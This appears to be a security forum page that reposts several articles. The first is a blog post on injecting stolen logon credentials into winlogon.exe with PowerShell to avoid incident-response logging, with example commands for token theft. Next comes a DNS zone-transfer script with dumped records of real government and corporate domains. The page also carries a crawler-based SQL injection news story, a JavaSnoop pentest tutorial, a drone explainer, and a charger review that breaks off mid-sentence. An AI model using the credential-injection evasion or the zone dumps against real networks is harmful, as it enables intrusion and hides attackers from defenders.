Nytro

Injecting Logon Credentials With PowerShell Posted on November 17, 2013 by clymb3r In this article I will introduce a new script, Inject-LogonCredentials, that uses PowerShell (specifically, the Invoke-ReflectivePEInjection script) to inject credentials in memory. I’ll start with a brief review of the current commonly used methods of using stolen credentials. Doing a RunAs with a users credential. The downside of a RunAs is that it creates an “Explicit Credential Logon” event in the Windows event logs (event id 4648). As you can see in the picture below, this event shows the account being logged in with (testuser), and the account initiating the new logon (joe). It also shows the process that called the logon API. Incident responders commonly look for this event as an indicator of lateral movement, so it should be avoided. Injecting credentials directly in to LSASS. This technique, used by Windows Credential Editor, involves injecting a DLL in to LSASS and modifying its memory to add your credentials. Unfortunately, if LSASS is set to be a protected process in Windows 8.1 this technique fails because only specially signed processes can manipulate protected processes. While it is true that tools such as Mimikatz can disable protected processes, I do not want to load a kernel driver (which is what Mimikatz does) every time I pivot. Implementing your own authentication protocols. Examples include the NTLM module in Metasploit, which can perform NTLM authentication without relying on Windows authentication. This has the benefit of staying out of the logs (since it does not rely on Windows authentication libraries). Unfortunately it limits you to using Metasploit modules that use the Metasploit NTLM module. This module only supports NTLM, and not Kerberos. One new feature of Windows 8.1 allows user accounts to be banned from using NTLM, which will prevent this module from functioning. As noted, doing a RunAs throws a suspicious event log because it allows an incident responder to see that some random user is logging in with domain admin credentials (or other privileged credentials). Instead of simply doing a RunAs, I will do the following: Create a DLL that: Opens a named pipe and reads a domain/username/password combination. Read a logon type from the named pipe (current supported types are Interactive, RemoteInteractive, and NetworkCleartext). Calls LsaLogonUser to create a logon with the credentials it was supplied, and as the logon type supplied. Impersonates the token returned by LsaLogonUser with its current thread, which allows the token to be kidnapped by Invoke-TokenManipulation. [*]Reflectively inject this DLL in to winlogon.exe using Invoke-ReflectivePEInjection. [*]Supply the DLL with the username/password to create a logon for by using a named pipe. [*]Call LsaLogonUser with the supplied credentials and logon type within winlogon.exe. The differences between this script and a normal RunAs are: Process calling the logon API will show up as Winlogon.exe. User initiating the logon is SYSTEM, not a random user account. You can specify the logon type. For example, you can make LSASS think the account is connecting via RDP, which might be normal. You can also make LSASS think the account is a local logon (someone physically using the computer). RunAs 4648 Event Log 4648 Event Log With Inject-LogonCredentials 4624 With Inject-LogonCredentials As you can see, everything that was suspicious in the 4648 event log is gone. But how do you use these credentials now that they are in memory? Once you run the script, you can use Invoke-TokenManipulation (or incognito if you are using Metasploit) to kidnap the token of the new logon. You can use this impersonated token to pivot off box using things such as SMB, WMI, and PowerShell remoting. Here’s an example: Inject-LogonCredentials –DomainName demo –UserName administrator –Password Password1 –ExistingWinLogon Invoke-TokenManipulation –CreateProcess “c:\windows\system32\windowspowershell\v1.0\powershell.exe” -UserName “demo\administrator” It’s worth mentioning that the script currently has two modes: ExistingWinLogon: Injects the DLL in to an already running winlogon process. The DLL will never be unloaded from this process so there is forensic evidence that is left behind if someone does analysis on the winlogon process. NewWinLogon: Creates a new winlogon process, running as SYSTEM, using token kidnapping. Injects the logon DLL in to this new winlogon process. Once you are done, you can kill the process. This allows you to delete the process and wipe away DLL injection evidence, but Windows will log that PowerShell.exe created winlogon, which would look strange if anyone notices. Hopefully this has helped illustrate how Invoke-ReflectivePEInjection can be used to do awesome things.You can find the script at: https://github.com/clymb3r/PowerShell/tree/master/Inject-LogonCredentials As usual, it will also be added to PowerSploit. Sursa: https://clymb3r.wordpress.com/2013/11/17/injecting-logon-credentials-with-powershell/

Script for recursive check of DNS zone export (AXFR). [h=1]install[/h]Debian/Ubuntu required packages: $ sudo apt-get install php5-cli $ wget http://netdns2.googlecode.com/files/Net_DNS2-1.3.1.tgz && tar -zxvf Net_DNS2-1.3.1.tgz && cd Net_DNS2-1.3.1/ $ git clone https://code.google.com/p/dns-check/ && mv dns-check/*.php .[h=1]dns check[/h] $ php dc.php gov.ml https://code.google.com/p/dns-check/ © 2013 Adam Ziaja <adam@adamziaja.com> http://adamziaja.com 217.64.97.50 (ciwara.sotelma.ml) AXFR gov.ml ::query() failed: every name server provided has failed: Operation now in progress 217.64.98.67 (askia.sotelma.ml) AXFR gov.ml ::query() failed: DNS request failed: The name server refuses to perform the specified operation for policy reasons. 196.1.95.1 (ns.ucad.sn) AXFR gov.ml gov.ml. 172800 IN SOA dogon.sotelma.ml. hostmaster.gov.ml. 2013031800 1800 900 1728000 172800 gov.ml. 172800 IN NS ml.cctld.authdns.ripe.net. gov.ml. 172800 IN NS dogon.sotelma.ml. gov.ml. 172800 IN NS ciwara.sotelma.ml. gov.ml. 172800 IN NS ns-ext.isc.org. gov.ml. 172800 IN NS yeleen.nic.ml. gov.ml. 172800 IN NS djamako.nic.ml. actionhumanitaire.gov.ml. 172800 IN NS ns2.dat-tech.com. actionhumanitaire.gov.ml. 172800 IN NS ns4.dat-tech.com. adere-nord.gov.ml. 172800 IN NS ns1.ikatelnet.net. adere-nord.gov.ml. 172800 IN NS ns3.ikatelnet.net. ads.gov.ml. 172800 IN NS web.datatech.net.ml. ads.gov.ml. 172800 IN NS keletigui.datatech.net.ml. ageroute.gov.ml. 172800 IN NS mande.sotelma.ml. agetic.gov.ml. 172800 IN NS djata.agetic.gov.ml. djata.agetic.gov.ml. 172800 IN A 217.64.100.67 amap.gov.ml. 172800 IN NS ns1.oxadel.ml. amap.gov.ml. 172800 IN NS ns2.oxadel.ml. anict.gov.ml. 172800 IN NS web.datatech.net.ml. anict.gov.ml. 172800 IN NS keletigui.datatech.net.ml. anpe.gov.ml. 172800 IN NS ns1.oxadel.ml. anpe.gov.ml. 172800 IN NS ns2.oxadel.ml. [...] gov.ml. 172800 IN SOA dogon.sotelma.ml. hostmaster.gov.ml. 2013031800 1800 900 1728000 172800 217.64.98.38 (217.64.98.38) AXFR gov.ml ::query() failed: every name server provided has failed: Connection refused host actionhumanitaire.gov.ml not found 196.200.80.24 (ns1.ikatelnet.net) AXFR adere-nord.gov.ml ::query() failed: DNS request failed: The name server refuses to perform the specified operation for policy reasons. 196.200.80.4 (ns3.ikatelnet.net) AXFR adere-nord.gov.ml ::query() failed: DNS request failed: The name server refuses to perform the specified operation for policy reasons. 217.64.107.130 (keletigui.datatech.net.ml) AXFR ads.gov.ml ads.gov.ml. 3600 IN SOA keletigui.datatech.net.ml. admin.datatech.net.ml. 2 3600 600 86400 3600 ads.gov.ml. 3600 IN NS keletigui.datatech.net.ml. ads.gov.ml. 3600 IN MX 10 mail.ads.gov.ml. mail.ads.gov.ml. 3600 IN CNAME mail.datatech.net.ml. ads.gov.ml. 3600 IN SOA keletigui.datatech.net.ml. admin.datatech.net.ml. 2 3600 600 86400 3600 217.64.98.37 (mande.sotelma.ml) AXFR ageroute.gov.ml ageroute.gov.ml. 86400 IN SOA ageroute.gov.ml. rname.invalid. 2011111701 86400 3600 604800 10800 ageroute.gov.ml. 86400 IN NS mande.sotelma.ml. ageroute.gov.ml. 86400 IN A 196.200.84.90 ageroute.gov.ml. 86400 IN MX 10 svragr01.ageroute.gov.ml. svragr01.ageroute.gov.ml. 86400 IN A 196.200.84.90 www.ageroute.gov.ml. 86400 IN A 196.200.84.90 ageroute.gov.ml. 86400 IN SOA ageroute.gov.ml. rname.invalid. 2011111701 86400 3600 604800 10800 217.64.100.67 (mail.agetic.gouv.ml) AXFR agetic.gov.ml agetic.gov.ml. 86400 IN SOA djata.agetic.gov.ml. admin.agetic.gov.ml. 70 10800 900 604800 86400 agetic.gov.ml. 86400 IN NS djata.agetic.gov.ml. agetic.gov.ml. 86400 IN A 217.64.100.67 agetic.gov.ml. 86400 IN TXT "v=spf1 a mx ptr" agetic.gov.ml. 86400 IN MX 10 mail.agetic.gov.ml. agetic.gov.ml. 86400 IN MX 20 tchiden.agetic.gov.ml. agetic.gov.ml. 86400 IN MX 30 ns1.agetic.gov.ml. cyberedu.agetic.gov.ml. 86400 IN A 217.64.100.68 djata.agetic.gov.ml. 86400 IN A 217.64.100.67 efestival.agetic.gov.ml. 86400 IN A 217.64.100.67 intrasotelma.agetic.gov.ml. 86400 IN A 217.64.100.101 [...] agetic.gov.ml. 86400 IN SOA djata.agetic.gov.ml. admin.agetic.gov.ml. 70 10800 900 604800 86400 host amap.gov.ml not found host anict.gov.ml not found host anpe.gov.ml not found [...] $ php dns.php cisco.com > cisco.com.txt $ grep " IN " cisco.com.txt | wc -l 3610308i.a. wwwin-tools1-admin.cisco.com. 86400 IN A 72.163.44.27 wwwin-tools1-admin-nat.cisco.com. 86400 IN A 72.163.44.12 supportwiki-admin.cisco.com. 86400 IN A 207.97.212.128 cvf-vpn-gwy1-global.cisco.com. 86400 IN A 64.102.251.105 bxb22-vpn-cluster-1.cisco.com. 86400 IN A 198.135.0.165 printer-lwr05-02-500-cx.cisco.com. 86400 IN A 64.100.94.8 printer-lasvegas-64-101-99-14.cisco.com. 86400 IN A 64.101.99.14@ 2013-09-14 16:45 CEST reported to security@cisco.com, no answer [h=1]dns-check for revDNS[/h] $ php rdc.php beyondsecurity.com https://code.google.com/p/dns-check/ © 2013 Adam Ziaja <adam@adamziaja.com> http://adamziaja.com 4.202.207.67.in-addr.arpa 202.207.67.in-addr.arpa 208.166.60.196 (ns1.svwh.net) AXFR 202.207.67.in-addr.arpa 202.207.67.in-addr.arpa. 86400 IN SOA arrakis.202.207.67.svwh.net. admin1.ns1.svwh.net. 2013020601 10800 3600 604800 86400 [...] 202.207.67.in-addr.arpa. 86400 IN SOA arrakis.202.207.67.svwh.net. admin1.ns1.svwh.net. 2013020601 10800 3600 604800 86400 98.158.21.29 (ns2.svwh.net) AXFR 202.207.67.in-addr.arpa ::query() failed: every name server provided has failed: Operation now in progress 208.166.60.197 (ns3.svwh.net) AXFR 202.207.67.in-addr.arpa 202.207.67.in-addr.arpa. 86400 IN SOA arrakis.202.207.67.svwh.net. admin1.ns1.svwh.net. 2013020601 10800 3600 604800 86400 [...] 202.207.67.in-addr.arpa. 86400 IN SOA arrakis.202.207.67.svwh.net. admin1.ns1.svwh.net. 2013020601 10800 3600 604800 86400 4.202.207.67.in-addr.arpa. 86400 IN PTR secure.beyondsecurity.com. 5.202.207.67.in-addr.arpa. 86400 IN PTR netenrich.beyondsecurity.com. 7.202.207.67.in-addr.arpa. 86400 IN PTR lss3.beyondsecurity.com. 9.202.207.67.in-addr.arpa. 86400 IN PTR wssa.beyondsecurity.com. 4.202.207.67.in-addr.arpa. 86400 IN PTR secure.beyondsecurity.com. 5.202.207.67.in-addr.arpa. 86400 IN PTR netenrich.beyondsecurity.com. 7.202.207.67.in-addr.arpa. 86400 IN PTR lss3.beyondsecurity.com. 9.202.207.67.in-addr.arpa. 86400 IN PTR wssa.beyondsecurity.com Sursa: https://code.google.com/p/dns-check/

Retire.js What you require you must also retire There is a pletora of JavaScript libraries for use on the web and in node.js apps out there. This greatly simplifies development, but we need to stay up-to-date on security fixes. "Using Components with Known Vulnerabilities" is now a part of the OWASP Top 10 and insecure libraries can pose a huge risk for your webapp. The goal of Retire.js is to help you detect the use of JS-library versions with known vulnerabilities. Retire.js has three parts: A command line scanner A Chrome extension A grunt plugin Command line scanner Scan a web app or node app for use of vulnerable JavaScript libraries and/or node modules. Chrome extension Scans visited sites for references to insecure libraries, and puts warnings in the developer console. An icon on the address bar displays will also indicated if vulnerable libraries were loaded. Grunt plugin A Grunt task for running Retire.js as part of your application's build routine, or some other automated workflow. Sursa: https://github.com/bekk/retire.js

Google crawler tricked into performing SQL injection attacks using decade-old technique Let the search engine do the dirty work with carefully crafted links. by Peter Bright - Nov 6 2013, 8:05pm EST Daniel Cid, a developer of a cloud-based firewall/proxy system, was surprised to discover that his product was blocking requests from Google-owned IP addresses. This was unusual, because few websites want to block Web crawlers, as search engines are so important as a method of site discovery. Cid and his colleagues strive to make sure that their product's default rules don't block Google. The Google IP address was determined to be legitimate: the traffic was from a Google Web crawler. It was being blocked because it appeared malicious, like it was an attempt at SQL injection. Further examination of the firewall logs showed other, similar requests from Google IP addresses also being blocked. SQL injection is a technique for exploiting poorly written Web applications. Applications routinely take parameters embedded in URLs and use them to query databases. Well-written applications do this in a way that ensures that the parameters can never be interpreted as actual SQL commands. Badly written applications—which are, unfortunately, abundant—do not. This allows attackers to trick the application into executing SQL commands of their choosing. This can compromise both data and entire systems. Unsurprisingly enough, it turns out that Google isn't actually using its Web crawlers to perform SQL injection attacks on other people's sites. Unknown, and presumably malicious, third parties are. The way it works is devastatingly simple. Imagine that there's a site you want to perform an SQL injection attack on. You construct all your SQL injection URLs for the site and stick them into a Web page that you control. Google spiders the Web page and attempts to follow all the URLs it comes across. Since each of those URLs is an SQL injection URL, Google's crawlers attempt to perform SQL injection on the victim. Obviously, this technique has some significant limitations: the attacker can't actually see the response to the SQL injection attacks, which limits his ability to use this technique to probe systems. However, it's also a difficult thing to prevent, because rejecting Google's crawlers is so undesirable. The only solution is to not be vulnerable to SQL injection attacks. As happens surprisingly often in the security field, it turns out that tricking crawlers into conducting attacks like this isn't new. In 2001, Michal Zalewski wrote an article in hacking magazine Phrack that described this technique: create malicious URLs for crawlers to follow to conduct attacks that are hard to trace back to the actual attacker. Security researcher pbr90x claims to have reported similar issues to Microsoft and Google. He says that Microsoft made some (unspecified) changes to its crawler, but that Google did nothing, claiming that its software was working as intended. Sursa: Google crawler tricked into performing SQL injection attacks using decade-old technique | Ars Technica

Hacking Java Applications using JavaSnoop Introduction: We are all aware of tools like Burp, Paros, WebInspect, etc… for intercepting web-based traffic and also for automating the security testing process. However, the same is not true for thick client applications. We do not have automated tools available for automating the security testing of thick client applications. In my previous article on “Application Security Testing of Thick Client Applications”, I mentioned a few tools that can be used for penetration testing of a thick client application. We had discussed a tool called Echo Mirage that can be used to intercept and edit the traffic for .EXE based applications. In this article, we will discuss a tool that can be used to assess the security of JAVA based applications. We are all aware of how difficult it is to intercept thick client applications due to the complexity and nature of these applications. Let us see the various approaches currently available for testing of Java based thick client applications and their respective drawbacks. Approach 1: Intercepting and hacking the traffic If the Java based application uses the following, then we have a chance of intercepting the traffic for testing: It uses HTTP It has configurable proxy settings It does not use encryption, custom protocols or serialized objects If all the above possibilities are met, we might be able to capture and hack the traffic from a proxy tool like BURP. Approach 2: Altering the client and hacking We identify the JAR files Decompile them Perform a source code review We could alternately alter the code and re-compile the client,then send custom attacks Decompiling binary Java often results in source code that has a number of compilation errors. These errors are introduced by bugs in the decompilers themselves or the result of a special build processes, which show that the compilation and decompilation processes are not, in practice, 100% deterministic. The drawback to this approach are that this is not an easy task (re-compiling the code might generate huge errors) and we may end up wasting our time on understanding, altering and then trying to hack something. The two approaches above might not work and do not provide the security tester the flexibility to carry out a fully fledged security assessment of the Java based thick client application. To overcome these difficulties, we make use of a tool called JavaSnoop developed by Aspect Security. Introduction to JavaSnoop The JavaSnoop tool provides the following features: Allows easy interception of any method in the JVM Allows the editing of return values and parameters Allows custom Java to be inserted into any method Able to work on any type of Java application (J2SE, Applet, or Java Web Start) Able to work on already-running Java processes Not require any target source code (original or decompiled) These features of the tool make it easier for testing of any kind of Java based apps. Working of JavaSnoop tool: Java 6.0 contains the Attach API feature that allows seamless, inter-process modification of a running JVM. The Attach API is a Sun extension that provides a way for a Java process to “attach” to another JVM at runtime. This bridge can be used to load Java agents onto remote virtual machines. Those agents can then redefine classes or retrieve information about the JVM to which it’s attached. This mechanism allows JavaSnoop to satisfy the requirements listed above. JavaSnoop can use the Attach API and the Instrumentation class (helps in modification of a JVM during runtime) to jump into another JVM on the machine and install various “hooks” throughout class methods on that system. These hooks are then used by an agent to communicate with a GUI that allows the JavaSnoop user to “intercept” calls within the JVM. The hooking technique used by JavaSnoop can perform the following actions: Edit method parameters Edit method return value Pause method Execute user-supplied script at the beginning of the method Execute user-supplied script at the end of the method Print the parameters to the console (or to a file) Installation of JavaSnoop: The JavaSnoop tool can be downloaded from the following URL: https://www.aspectsecurity.com/research/appsec_tools/javasnoop/ Installation Steps: Step 1:Install JDK 1.6 from the following URL: JDK 6 Downloads Step 2: Set the JAVA_HOME environmental variable for Windows as follows: Go to Start > My Computer > Properties > Advanced System Settings > Advanced > Environmental Variable. Set a new user variable to JAVA_HOME: Path pointing to JDK 1.6 folder as shown below: Step 3: Applets and Java Web Start applications are configured to run by default in afairly strict sandbox.Obviously, hacking privileged internal classes andtampering with private fields are not usually allowed. This means we have toessentially turn the security “off”. To achieve this, we need to run the JavaSnoop tool using the startup.bat file provided with the JavaSnoop setup. This batch file will achieve the following: Check for the presence of the environmental variable JAVA_HOME set to the path of JDK 1.6 Will then turn off the Java security for JavaSnoop usage Will start the JavaSnoop tool On quitting the tool, this batch file will again turn the Java security back for safe browsing Injecting JavaSnoop into a Process: The JavaSnoop tool provides two types of processes to be hacked. 1. An existing process: We can inject JavaSnoop to an already running process by selecting from the available list of running processes. 2. A new process: Alternately, we can start a new process by selecting the JAR file to be hooked/intercepted. Functionality of the JavaSnoop tool interface: The main interface of the JavaSnoop tool is divided into four parts as shown in the diagram below. First Part: In this part, we select the class or method that needs to be hooked or intercepted. The interface provides a button to add a new Hook. We can then add a method from a specific class available from the list, as shown in the snapshot below: Second Part: This part provides features for setting various options for intercepting the method calls. We can set regular expression conditions for matching and intercepting the traffic from the method calls. A snapshot is shown below: Third Part: This part of the interface helps in deciding what to do with a particular hook that we select from the part one of the interface. It provides various options like the following: Printing the parameters/stacktrace on to the console or a particular file Running custom scripts Tampering with parameters Tampering with return value Pausing program Fourth Part: The output from the hooks and the decompiled classes from the target application are shown up in this area. Intercepting traffic from JAVA based applications using JavaSnoop In this article, we look at two sample Java based applications and learn to intercept the traffic in the JavaSnoop tool: Intercepting the traffic from an applet which runs inside a browser Intercepting the traffic from a JAVA based thick client application 1. Intercepting the traffic from an applet which runs inside a browser A Java applet is an applet delivered to users in the form of Java bytecode. Java applets can be part of a web page and executed by the Java Virtual Machine (JVM) in a process separate from the web browser, or run in Sun’s AppletViewer, a stand-alone tool for testing applets. It is difficult to intercept the traffic from an applet that is a part of a web page. Normal proxy tools like Burp and Paros fail to intercept / interpret the traffic from these applets. We see an example of intercepting the traffic from an applet using JavaSnoop tool. Step 1: We have a sample login applet embedded into the web browser, which takes the user credentials and forwards it to the server for authentication. In order to intercept the traffic from the Java Applet, we use the method hooking techniques of JavaSnoop to intercept the traffic. The snapshot below shows the Login Applet with the user credentials entered into the input fields. Step 2:As we have already opened the Java applet in the browser, we select the “An existing process” option from the JavaSnoop tool to attach the agent into the running applet as shown below. Click to view larger image Step 3: Attaching the agent into the running applet will open the JavaSnoop interface. We can then select the classes and the respective methods to be hooked for intercepting the traffic. We select the required class for which the methods are to be hooked, as shown below: Step 4: We then select the methods of that specific class, as shown below: Step 5: The screenshot below shows the JavaSnoop interface containing the hooked methods and the conditions applied on the methods for intercepting the Java applet traffic. Click to view larger image Step 6: As soon as we submit the user credentials on the Login applet, the tool intercepts the traffic and provides the user with a pop-up window for editing and forwarding the intercepted traffic. Click to view larger image 2. Intercepting the traffic from a JAVA based thick client application In the section above, we learned to intercept the traffic for Java Applets. In this section, we will learn to intercept the traffic for JAR applications. For example, we will try to intercept the traffic from the BURP proxy tool (JAR based proxy tool) to the JavaSnoop tool. Since JavaSnoop makes application data and traffic easy to tamper with, figuring out the right method to hook becomes a difficult part of the assessment. Although nothing can substitute code review for understanding an application’s logic, a pen-tester without access to the source code has a few options for finding the right hook. The user can choose a Java API they suspect may play a role in a test, they can search for methods by name or class, and they can use a special mode of JavaSnoop, called “Canary Mode”. This mode is very useful in larger applications, where identifying of the correct class and method becomes difficult. We can understand the Canary mode with the example of intercepting BURP traffic in the JavaSnoop tool. The screenshot below shows the huge list of BURP classes loaded into the JavaSnoop tool. This makes it difficult to identify the correct class and method for hookingand intercepting the traffic. Even after searching and guessing, it may be difficult to find what methods to hook. It’s likely that attackers are interested in methods where data they put into the UI ends up going. If the flow of their data through the class methods could somehow be seen, it may end helping the user find functions to hook. Discovering this lifetime is the purpose of “Canary Mode”, a unique and useful feature of JavaSnoop. In this mode, you define some “canary” value that you want to trace through the system. This should be some unique value that you’re going to enter into the application somewhere, probably through a form field or a properties file. Once this value is chosen, Canary Mode can be started. JavaSnoop will then remove all other hooks currently in use, and then add canary “listeners” to every method in the JVM that has the data type of the canary as a parameter. Each time the canary is found being sent to a method, a “chirp” is sent back to JavaSnoop, letting the user know what method operated on the canary value. In a way, this amounts to a very primitive, clumsy form of data flow analysis. Steps to identify the methods to be hooked for testing purposes are as follows: Step 1: Inject the JavaSnoop agent into the BURP process Step 2: Open the Canary mode interface in the JavaSnoop tool Step 3: Input a string to be searched for in the input field Step 4: Start the Canary Mode listener from the interface Step 5: Send a request for Google.com from the browser to the Burp tool. The JavaSnoop tool will start populating the list of methods in which the input string (say Google.com) is passed. We can then hook these methods for testing purposes, as shown in the screenshot below: Click to view larger image In this article we saw the drawbacks that can be faced while assessing Java based thick client apps and also saw how the JavaSnoop tool can be used to overcome these difficulties. References: Article on JavaSnoop by Arshan Dabirsiaghi By GADI007|March 15th, 2013 Sursa: Hacking Java Applications using JavaSnoop - InfoSec Institute

Flying Robots 101: Everything You Need To Know About Drones How do you define a drone? What's the difference between an RQ-9 Reaper and a quadrotor? Your pressing drone questions, answered By Kelsey D. Atherton Posted 03.07.2013 RQ-9 Reaper and an Aeryon Scout Quadrotor The armed RQ-9 Reaper MQ-1 Predator, seen on the left, is visually distinct from the Aeryon Scout Quadrotor. The Reaper is also six almost eleven times as long. Wikimedia Commons When an unmanned aerial vehicle reportedly flew within about 200 feet of an airliner earlier this week, outlets like Time and CNN chose to accompany their stories with a picture of the RQ-9 Reaper--this, despite that initially, there was no concrete description of the unmanned aircraft. It's not terribly surprising that news outlets would default to an image of the Reaper; it's perhaps the most widely recognized drone in operation. But as more details of the incident surfaced, this simplification proved incredibly wrong. The unmanned craft is now described as a 3-foot-long quadrotor--a four-blade copter--which is wildly distinct from the 36-foot-long Reaper; a bit like the difference between a Johnny Seven O.M.A and an AK-47. That's when I realized: drones are really confusing. Even to people who get paid to write about them! So here's a primer on what is and isn't a drone, the differences between common types of drones, and a bunch of other stuff you need to know to sound smart talking about these things: Where does the term drone come from? When unmanned flying vehicles were first introduced to the U.S. military, the ability to control them from afar wasn't very sophisticated. So the first drones flew along pre-set paths, operating off an internal navigation system. This led to servicemen informally referring to any machine that flew without human control a "drone," and Germany still has some like this in service today. That said, the "not being controlled by a human" part of the definition has since been lost to everyday use. What exactly are drones? "Drone" as a category refers to any unmanned, remotely piloted flying craft, ranging from something as small as a radio-controlled toy helicopter to the 32,000-pound, $104 million Global Hawk. If it flies and it's controlled by a pilot on the ground, it fits under the everyday-language definition of drone. Global Hawk Wikimedia Commons Wait, does that mean model airplanes are drones? Almost! Actually, under the law as it stands, any unmanned, remotely piloted vehicle in the United States flown for hobby or recreational purposes is a model airplane, thanks to the 2012 FAA re-authorization act. In 2015, the FAA will suggest new, drone-specific regulations, at which point model airplane law and drone law will probably diverge. Until then, though, all small drones used by private citizens in the U.S. are legally model airplanes. So is the military using model airplanes? No. The military is not considered a private citizen, so it plays by different rules, and uses different terminology. Okay, so what terms does the military use? The military has described drones, variously, as Unmanned Aerial Vehicles (UAVs), Remotely Piloted Vehicles (RPVs), Unmanned Aerial Systems (UASs), and Remotely Piloted Systems. (The FAA uses some of these terms, too.) The difference between UAV/RPV and UAS/RPS is that the former terms refer to the vehicle itself, and the latter terms describe the vehicle as well as the pilot and support staff. These are useful distinctions for specialists, but not for regular people. What are the different types of drones the military uses? The United States military alone maintains three different classifications, one each for the Air Force, Army, and Marines. Part of the confusion in drone terminology is overlapping and competing definitions. The Air Force files drones under five different tiers; the Army and the Marines file drones under three tiers, and none of those tiers perfectly overlap. That's boring and technical. Instead, here are some of the most commonly used or iconic drones: RQ-11 Raven The RQ-11 Raven weighs 4 pounds, is launched with a throw, and is piloted with a hand-held unit that resembles a video-game controller. The Raven isn't the most iconic military drone, but it is probably the most used: more than 19,000 have been built. It's mainly useful for seeing around corners and sending footage of rooftops back to troops moving through a city. It also looks like an awkward model airplane, and it breaks apart like LEGOs when it lands: RQ-7 Shadow The RQ-7 Shadow is approximately man-sized, and can fly almost 80 miles away from its commander while providing near-instant video to give a good picture of the battlefield. Shadow 200 Wikimedia Commons MQ-1 Predator and MQ-9 Reaper The MQ-1 Predator and MQ-9 Reaper are the most iconic drones, and odds are if there's a news story about a drone, it's going to have a picture of one of these. These guys can be armed so that makes them largely, though by no means exclusively, the preferred tool for what we call drone strikes. The main difference between them is that the newer Reaper is larger, has a more powerful engine, and can carry much, much more. They still both look like someone slapped a giant wing on a match, though. MQ-1 Predator UAV Wikimedia Commons Rq-4 Global Hawk The Rq-4 Global Hawk is the leviathan of the drone fleet. As mentioned above, it weighs more than 32,000 pounds, has a 130-foot wingspan, and can fly for more than a day. It can reach up to 60,000 feet, and from high elevation it can take high-resolution images of the land below, as well as detect and track moving targets. Aeryon Scout Though not in use by the United States, let's take a look at the Aeryon Scout. It's a small quadrotor that NATO allies supplied to the Libyan rebels in the recent campaign to overthrow Gaddafi. The scout weighs less than 3 pounds and can fly for about 25 minutes, making it useful for checking around corners. It's operated with a touch screen, too. Aeryon Scout Wikimedia Commons That's by no means a comprehensive list of military drones, but it should get you through a dinner party. What about private industry? Does it use simpler terms? As of last week, yes! Not because the drone industry doesn't have weird or obscure terms, but on Friday the drone lobbyist Association for Unmanned Vehicle Systems International (AUVSI) conceded that "drone" is what people are calling unmanned aerial vehicles, so "drone" is now begrudgingly the industry term. So what should I call them? Ultimately, depends on your audience. In everyday conversation or casual writing, "drone" is fine. If the audience is military or industry, or knowledgeable policy makers, it might be best to skip the informal terms, crack open Google, and figure out exactly how these people are going to talk about flying robots. Sursa: Flying Robots 101: Everything You Need To Know About Drones | Popular Science

A dozen USB chargers in the lab: Apple is very good, but not quite the best When you buy a USB charger, how do you know if you're getting a safe, high-quality charger for your money? You can't tell from the outside if a charger provides silky-smooth power or if it is a dangerous charger that emits noisy power that cause touchscreen malfunctions[1] and could self-destruct. In this article, I carefully measure the performance of a dozen different chargers, rate their performance in multiple categories, and determine the winners and losers. The above picture shows the twelve chargers I analyzed.[2] The charger in the upper-left is the cube-shaped Apple iPhone charger. Next is an oblong Samsung adapter and a cube Samsung adapter. The Apple iPad power adapter is substantially larger[3] than the iPhone charger but provides twice the power. The HP TouchPad power charger has an unusual cylindrical shape. Next is a counterfeit iPhone charger, which appears identical to the real thing but only costs a couple dollars. In the upper right, the Monoprice iPhone charger has a 30-pin dock connector, not USB. The colorful orange charger is a counterfeit of the Apple UK iPhone charger. Next is a counterfeit iPad charger that looks just like the real one. The Belkin power adapter is oval shaped. The KMS power supply provides four USB ports. The final charger is a Motorola Charger. Summary of ratings The chargers are rated from 1 to 5 energy bolts, with 5 bolts the best. The overall rating below is the average of the ratings in nine different categories, based on my measurements of efficiency, power stability, power quality, and power output. The quick summary is that phone manufacturers provide pretty good chargers, the aftermarket chargers are worse, and $2 counterfeit chargers are pretty much junk. Much to my surprise, the HP TouchPad charger (which isn't sold any more) turned out to have the best overall score. The counterfeit iPhone charger set a new low for bad quality, strikingly worse than the other two counterfeits. [TABLE=class: chargers] [TR] [TH][/TH] [TH]Model [/TH] [TH]Overall rating[/TH] [/TR] [TR] [TH=class: maker]Apple iPhone[/TH] [TD]Apple A1265[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Samsung oblong[/TH] [TD]Samsung travel adapter ETA0U60JBE[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Samsung cube[/TH] [TD]Samsung travel adapter ETA0U80JBE[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Apple iPad[/TH] [TD]Apple 10W USB Power Adapter A1357[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]HP TouchPad[/TH] [TD]Hewlett Packard LPS AC/DC Adaptor P/N 157-10157-00[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPhone[/TH] [TD]Fake Apple A1265 "Designed by California"[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Monoprice[/TH] [TD]Monoprice Switching Mode Power Supply MIPTC1A[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit UK[/TH] [TD]Fake Apple A1299[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Counterfeit iPad[/TH] [TD]Fake Apple 10W USB Power Adapter A1357[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Belkin[/TH] [TD]Belkin UTC001[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]KMS[/TH] [TD]KMS-AC09[/TD] [TD][/TD] [/TR] [TR] [TH=class: maker]Motorola[/TH] [TD]Motorola AC Power Supply DC4050US0301[/TD] [TD][/TD] [/TR] [/TABLE] Inside a charger These chargers cram a lot of complex circuitry into a small package, as you can see from the iPhone charger below. (See my iPhone charger teardown for more details.) The small size makes it challenging to make an efficient, high-quality charger, while the commoditization of chargers and the demand for low prices pressure manufacturers to make the circuit as simple as possible and exclude expensive components, even if the power quality is worse. The result is a wide variation in the quality of the chargers, most of which is invisible to the user, who may believe "a charger is a charger". Inside the iPhone charger Internally a charger is an amazingly compact switching power supply that efficiently converts line AC into 5 volt DC output. The input AC is first converted to high-voltage DC. The DC is chopped up tens of thousands of times a second and fed into a tiny flyback transformer. The output of the transformer is converted to low-voltage DC, filtered, and provided as the 5 volt output through the USB port. A feedback mechanism regulates the chopping frequency to keep the output voltage stable. Name-brand chargers use a specialized control IC to run the charger, while cheap chargers cut corners by replacing the IC with a cheap, low-quality feedback circuit.[4] A poor design can suffer several problems. If the output voltage is not filtered well, there will be noise and spikes due to the high-frequency switching. At extreme levels this could damage your phone, but the most common symptom is the touchscreen doesn't work while the charger is plugged in.[1] A second problem is the output voltage can be affected by the AC input, causing 120 Hz "ripple".[5] Third, the charger is supposed to provide a constant voltage. A poor design can cause the voltage to sag as the load 